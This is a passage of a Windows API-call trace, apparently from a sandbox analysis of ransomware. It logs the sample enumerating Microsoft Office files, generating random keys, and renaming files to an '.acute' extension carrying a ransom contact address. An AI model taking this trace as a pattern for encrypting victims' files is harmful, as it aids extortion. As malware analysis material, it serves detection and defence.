office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.939] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=5058) returned 1 [0274.939] CloseHandle (hObject=0x37c) returned 1 [0274.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0274.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.939] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.939] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6392) returned 1 [0274.939] CloseHandle (hObject=0x37c) returned 1 [0274.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid")) returned 0x20 [0274.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SHOW_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\show_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.940] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.940] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4219) returned 1 [0274.940] CloseHandle (hObject=0x37c) returned 1 [0274.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid")) returned 0x20 [0274.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.940] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.940] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6700) returned 1 [0274.940] CloseHandle (hObject=0x37c) returned 1 [0274.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0274.940] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.940] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.941] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=14044) returned 1 [0274.941] CloseHandle (hObject=0x37c) returned 1 [0274.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid")) returned 0x20 [0274.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.941] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.941] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=8501) returned 1 [0274.941] CloseHandle (hObject=0x37c) returned 1 [0274.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0274.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.941] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.942] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=13358) returned 1 [0274.942] CloseHandle (hObject=0x37c) returned 1 [0274.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid")) returned 0x20 [0274.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.942] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.943] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=4961) returned 1 [0274.943] CloseHandle (hObject=0x37c) returned 1 [0274.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid")) returned 0x20 [0274.943] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.943] CryptGenRandom (in: hProv=0x7d5188, dwLen=0x10, pbBuffer=0x3b9f828 | out: pbBuffer=0x3b9f828) returned 1 [0274.943] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0274.944] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x3b9f7c0 | out: lpFileSize=0x3b9f7c0*=6915) returned 1 [0274.944] CloseHandle (hObject=0x37c) returned 1 [0274.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid")) returned 0x20 [0274.944] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0274.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.582] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0275.582] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Couture.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\couture.eftx")) returned 0 [0276.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.142] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll")) returned 0 [0276.170] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.171] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.dev.hxs")) returned 0 [0276.171] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.171] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSACCESS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\msaccess.hxs")) returned 0 [0276.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.174] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.dev.hxs")) returned 0 [0276.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.175] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.hxs")) returned 0 [0276.187] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.187] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote.hxs")) returned 0 [0276.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.188] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0 [0276.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.190] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0 [0276.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.191] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs")) returned 0 [0276.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.192] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0 [0276.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.200] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PJINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pjintl.dll")) returned 0 [0276.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.201] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.dev.hxs")) returned 0 [0276.202] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\powerpnt.hxs.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0 [0276.202] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\POWERPNT.HXS.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\microsoft 